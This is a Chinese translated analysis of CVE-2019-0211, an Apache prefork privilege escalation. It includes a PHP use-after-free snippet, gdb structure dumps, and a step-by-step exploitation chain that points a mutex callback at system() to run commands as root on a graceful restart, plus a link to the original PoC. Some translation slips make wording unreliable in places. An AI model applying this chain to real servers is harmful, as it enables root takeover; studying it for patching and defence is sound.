内容简介:从该漏洞涉及到三个函数
简介
从 2.4.17 ( 2015 年 10 月 9 日)到 2.4.38(2019 年 4 月 1 日 ) 的 Apache HTTP 版本中,存在着一个可以通过数组越界调用任意构造函数的提权漏洞。这个漏洞可以通过重新启动 Apache 服务 (apache2ctl graceful) 来触发。在 Linux 默认配置中,每天会在早上 6 点 25 分自动运行一次该命令,从而重启日志文件的处理任务。
该漏洞涉及到三个函数 mod_prefork,mod_worker 和 mod_event 。后面的漏洞描述,分析和触发都主要从 mod_prefork 展开。
漏洞描述
在 MPM prefork 模式下,服务器主进程会运行在 root 权限下,管理一个单线程的进程池。低权限 (www-data) 的 Worker 进程处理 HTTP 请求头。 Apache 通过共享包含有 scoreboard (包含诸如 PID 、请求等 Worker 进程信息)的共享内存空间( SHM )来处理 worker 进程返回的信息。每一个 Worker 进程都对应一个关联自身 PID 的 process_score 结构,拥有着对 SHM 的读写权限。
ap_scoreboard_image: 共享内存空间的指针
(gdb) p *ap_scoreboard_image $3 = { global = 0x7f4a9323e008, parent = 0x7f4a9323e020, servers = 0x55835eddea78 } (gdb) p ap_scoreboard_image->servers[0] $5 = (worker_score *) 0x7f4a93240820 PID19447的Worker进程的共享内存空间 (gdb) p ap_scoreboard_image->parent[0] $6 = { pid = 19447, generation = 0, quiescing = 0 '00', not_accepting = 0 '00', connections = 0, write_completion = 0, lingering_close = 0, keep_alive = 0, suspended = 0, bucket = 0 <- index for all_buckets } (gdb) ptype *ap_scoreboard_image->parent type = struct process_score { pid_t pid; ap_generation_t generation; char quiescing; char not_accepting; apr_uint32_t connections; apr_uint32_t write_completion; apr_uint32_t lingering_close; apr_uint32_t keep_alive; apr_uint32_t suspended; int bucket; <- index for all_buckets }
当 Apache 重启的时候,它的主进程会关闭旧的 Worker 进程并生成新的来替换掉。在这里主进程会用 all_bucket 这一函数来使用所有旧的 Worker 进程占用的 bucket (内存空间)值。
all_buckets (gdb) p $index = ap_scoreboard_image->parent[0]->bucket (gdb) p all_buckets[$index] $7 = { pod = 0x7f19db2c7408, listeners = 0x7f19db35e9d0, mutex = 0x7f19db2c7550 } (gdb) ptype all_buckets[$index] type = struct prefork_child_bucket { ap_pod_t *pod; ap_listen_rec *listeners; apr_proc_mutex_t *mutex; <-- } (gdb) ptype apr_proc_mutex_t apr_proc_mutex_t { apr_pool_t *pool; const apr_proc_mutex_unix_lock_methods_t *meth; <-- int curr_locked; char *fname; ... } (gdb) ptype apr_proc_mutex_unix_lock_methods_t apr_proc_mutex_unix_lock_methods_t { ... apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <-- ... }
这里没有进行边界检查,也就是说任意一个 Worker 进程都可以改变自身 bucket 的值来指向共享内存区域,从而在重启的时候控制 prefork_child_bucket 函数的结构。最终在权限恢复之前,通过 mutex->meth->child_init() 这一调用过程,实现暂时以 root 权限调用函数。
存在风险的代码区域
理一遍 server/mpm/prefork/prefork.c 来看下是什么地方导致了这一漏洞。
(译者注: L 数字代表该文件中对应的代码行数)
- 一个恶意的 Worker 进程改变自身共享内存中自身的 bucket 的值,从而指向共享内存空间。
- 在第二天的早上 6.25 分, logrotate 请求 Apache 重启一次服务。
- 之后 Apache 主进程会关闭第一个 Worker 进程,生成新的 Worker 级才能哼。
- 这个过程是通过发送 SIGUSR1 信号给 Worker 进程来实现的, Worker 进程收到信号后会立刻退出。
- 然后调用 prefork_run() ( L853 )函数来生成新的 Worker 进程。由于存在 retained->mpm->was_graceful 这一过程, Worker 进程不会立刻重启。
- 在进入主循环( L933 )并监控旧的 Worker 进程的 PID ,可以看到旧的 Worker 进程关闭后, ap_wait_or_timeout() 函数会返回它 PID 的值( L940 )
- process_score 的 index 值以及 PID 值会存储在 child_slot(L948) 中
- 如果删除旧的 Worker 进程没有报错( L969 )的话, make_child() 函数会调用 ap_get_scoreboard_process(child_slot)->buctet 的值作为参数( L985 ),正如之前提到的一样, bucket 的值已经被恶意 Worker 给修改了。
- make_child() 函数会 fork(L671) 主进程来生成新的子进程。
- OOB 会读取 (L691) 发生的过程,导致 my_bucket 函数遭到攻击者的控制。
- child_main() 函数会调用 (L722) ,相比 (L433) 处更快调用函数。
- SAFE_ACCEPT(<code>) 只有在 Apache 监听两个或更多的端口时执行 <code> ,一般来说服务器通常监听着 HTTP(80) 和 HTTPS(443)
- 假设 <code> 成功执行,会调用 apr_proc_mutex_child_init() 函数,从而通过 (*mutex)->meth->child_init(mutex, pool, fname) 的调用过程来控制互斥锁。
- 在执行完 (L446) 后权限恢复到正常的低权限。
利用过程:
利用过程包括四个步骤: 1 、获取 Worker 进程的读写权限 .2 、向共享内存空间( SHM )写入一个假的 prefork_child_bucket 结构。 3 、将 all_bucket[bucket] 指向结构。 4 、等待构造的函数被调用。
这一过程的好处:
始终没有创建过主进程,所有过程都映射在访问 /proc/self/maps(ASLR/PIE 保护无效 ) 中,当一个 Worker 进程关闭或报错时,它会自动由主进程重新创建,所以不会有 DOS Apache 服务器的风险。
缺点:
PHP 不允许对 /proc/self/mem 的读写,也就是说我们没法直接编辑共享内存空间,只能等待重启的时候调用 all_bucket 函数。
1. 获取 Worker 进程的读写权限
PHP UAF 的 0day 漏洞
由于 mod_prefork 函数经常和 mod_php 函数一起使用,因此可以从 CVE-2019-6977 这里下手实现漏洞的利用。我在写 exp 的过程中发现 PHP7.X 下的 UAF 0day 漏洞在 PHP5.X 中也能复现。
PHP UAF <?php class X extends DateInterval implements JsonSerializable { public function jsonSerialize() { global $y, $p; unset($y[0]); $p = $this->y; return $this; } } function get_aslr() { global $p, $y; $p = 0; $y = [new X('PT1S')]; json_encode([1234 => &$y]); print("ADDRESS: 0x" . dechex($p) . "n"); return $p; } get_aslr();
这里有一个 PHP 对象的 UAF :即使我们无法设置 $y[0](X 的一个实例 ) ,我们也可以利用 $this 。
UAF 的读写权限
我们想要实现两个目标:读取内存地址来找到 all_buckets 的位置,修改 SHM 来改变 bucket 的值,从而加上我们自己的结构。
好在 PHP 的堆正好在这两片地址区域的前面。
PHP 堆的内存地址, ap_scoreboard_image->* 和 all_buckets
root@apaubuntu:~# cat /proc/6318/maps | grep libphp | grep rw-p 7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so (gdb) p *ap_scoreboard_image $14 = { global = 0x7f4a9323e008, parent = 0x7f4a9323e020, servers = 0x55835eddea78 } (gdb) p all_buckets $15 = (prefork_child_bucket *) 0x7f4a9336b3f0
考虑到我们触发了 PHP 对象中的 UAF ,对象中的任意属性都属于 UAF 漏洞的范围。我们可以将 zend_object UAF 改为 zend_string ,从而获得一个 zend_string 结构。
(gdb) ptype zend_string type = struct _zend_string { zend_refcounted_h gc; zend_ulong h; size_t len; char val[1]; }
len 属性包括了字符串的长度,通过增加它,我们可以读写之后的内存空间,也就是说能访问到我们感兴趣的两个内存空间: SHM 和 Apache 的 all_buckets
找到 bucket 的 index 值和 all_bucket
我们需要改变 ap_scoreboard_image->parent[worker_id]->bucket 来获得特定的 worker_id 。好在这个结构每次都在共享内存空间的头部位置,很方便我们去定位。
共享内存空间和目标 process_socre 结构
root@apaubuntu:~# cat /proc/6318/maps | grep rw-s 7f4a9323e000-7f4a93252000 rw-s 00000000 00:05 57052 /dev/zero (deleted) (gdb) p ≈_scoreboard_image->parent[0] $18 = (process_score *) 0x7f4a9323e020 (gdb) p ≈_scoreboard_image->parent[1] $19 = (process_score *) 0x7f4a9323e044
要定位 all_bucket ,我们需要充分利用 prefork_child_bucket 结构,所以我们需要:
导入 bucket 值的结构
prefork_child_bucket { ap_pod_t *pod; ap_listen_rec *listeners; apr_proc_mutex_t *mutex; <-- } apr_proc_mutex_t { apr_pool_t *pool; const apr_proc_mutex_unix_lock_methods_t *meth; <-- int curr_locked; char *fname; ... } apr_proc_mutex_unix_lock_methods_t { unsigned int flags; apr_status_t (*create)(apr_proc_mutex_t *, const char *); apr_status_t (*acquire)(apr_proc_mutex_t *); apr_status_t (*tryacquire)(apr_proc_mutex_t *); apr_status_t (*release)(apr_proc_mutex_t *); apr_status_t (*cleanup)(void *); apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <-- apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t); apr_lockmech_e mech; const char *name; }
all_buckets[0]->mutex 会定位在同一个 all_buckets[0] 的内存区域,考虑到 meth 是一个静态结构,它会定位到 libapr 的 data 上,又因为 meth 指向了 libapr 的函数,所以每一个函数的指针都在 libapr 的 text 内。
到这里我们通过 /proc/self/maps 有了整片内存区域的地址信息,我们可以通过修改 Apache 内存的指针来找到 all_buckets[0] 对应的结构位置。
和我之前说的一样, all_bucket 的地址在每次重启都会发生变化。所以说每次触发我们的 exp , all_buckets 的地址都会发生变化。之后我们会研究如何解决这问题。
2. 向共享内存空间( SHM )写入假的 prefork_child_bucket 结构
实现函数的调用
如下是构造的调用函数的过程:
bucket_id = ap_scoreboard_image->parent[id]->bucket my_bucket = all_buckets[bucket_id] mutex = &my_bucket->mutex apr_proc_mutex_child_init(mutex) (*mutex)->meth->child_init(mutex, pool, fname)
调用适合的函数
要实现漏洞利用,我们需要让 (*mutex)->meth->child_init 指向 zend_object_std_dtor(zend_object *object) ,也就是下面的利用过程:
mutex = &my_bucket->mutex [object = mutex] zend_object_std_dtor(object) ht = object->properties zend_array_destroy(ht) zend_hash_destroy(ht) val = &ht->arData[0]->val ht->pDestructor(val)
pDestructor 指向 system, &ht->arData[0]->val 是一个字符串 .
3. 令 all_bucket[bucket] 指向结构
问题和解决思路
到这里为止,如果 all_bucket 的地址每次重启不会改变,那么我们的利用过程就完成了。
- 通过 PHP 的堆获取内存的读写权限
- 通过结构匹配来找到 all_bucket
- 找到 SHM 中需要的结构
- 改变 SHM 中的 process_score.bucket ,使得 all_bucket[bucket]->mutex 指向我们的 paylaod
但考虑到 all_bucket 地址的变化,我们还需要做两件事情来提高我们的执行成功率:喷射 SHM 内存区域,用上每一个 PID 对应的 process_socre 结构。
喷射共享的内存区域
如果 all_bucket 的新地址距离旧的地址不远, my_bucket 会指向最近的结构,从而喷射获得整个 SHM 中未被使用的空间,而不是仅仅获得一个指向 SHM 的指针。这里存在一个问题,结构在 zend_object 中也使用着,所以其中有 (5*8=)40 位属于 zend_object.properties ,导致用一个大的结构来占用这个小的空间也不行。所以我们采用两个结构 apr_proc_mutex_t 和 zend_array 占用剩余的共享内存,令 prefork_child_bucket.mutex 和 zend_object.properties 指向同一个地址,来解决这一问题。现在如果 all_bucket 在原始地址不远的地方, my_bucket 就会喷射到这一范围。
利用所有的 process_score
每一个 Apache Worker 进程都会有一个关联的 process_score 结构和对应的 bucket 的 index 值。无需改变 process_score.bucket 值,我们就能改变他们占用的内存范围,比如说:
ap_scoreboard_image->parent[0]->bucket = -10000 -> 0x7faabbcc00 <= all_buckets <= 0x7faabbdd00
ap_scoreboard_image->parent[1]->bucket = -20000 -> 0x7faabbdd00 <= all_buckets <= 0x7faabbff00
ap_scoreboard_image->parent[2]->bucket = -30000 -> 0x7faabbff00 <= all_buckets <= 0x7faabc0000
这意味着我们的成功率随着 Apache Worker 进程数量的增多而变大。每次重新生成 Worker 进程的时候,都只有一个 Worker 进程会获得 buckek 编号,但考虑到其他 Worker 进程会报错而立刻重新生成,因此这不是什么问题。
复现成功率
不同的 Apache 服务器有着不同数量的 Worker 进程,有更多的 Worker 进程意味着我们可以用更少的内存来喷射互斥锁的地址,也就是说可以获取到更多的 all_buckets 函数的 index 信息。因此越多的 Worker 进程数量能够提高我们测试的成功率。在我的测试服务器(默认使用了 4 个 Worker 进程)上有 80% 的成功率。
如果 exp 触发失败的话,它会在第二天重启的时候重新运行, Apache 的错误日志中不会包含 Worker 进程的错误信息。
4. 等到早上 6.25 查看 exp 是否成功触发
这里只需要等待就好了。
漏洞时间线
- 2019-02-22 发送邮件 给security@apache.org ,提交了漏洞描述和 Poc 。
- 2019-02-25 收到漏洞致谢, Apache 安全团队正在修复漏洞。
- 2019-03-07 Apache 安全团队发送修复补丁进行测试,并提交 CVE 编号。
- 2019-03-10 补丁测试通过。
- 2019-04-01 发布新的 Apache HTTP version 2.4.39 版本。
Poc 地址:
https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache
以上所述就是小编给大家介绍的《CVE-2019-0211 Apache提权漏洞分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 漏洞分析:OpenSSH用户枚举漏洞(CVE-2018-15473)分析
- 【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析
- 【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析
- 漏洞分析:对CVE-2018-8587(Microsoft Outlook)漏洞的深入分析
- 路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析
- Weblogic IIOP反序列化漏洞(CVE-2020-2551) 漏洞分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Twisted Network Programming Essentials
Abe Fettig / O'Reilly Media, Inc. / 2005-10-20 / USD 29.95
Developing With Python's Event-driven Framework一起来看看 《Twisted Network Programming Essentials》 这本书的介绍吧!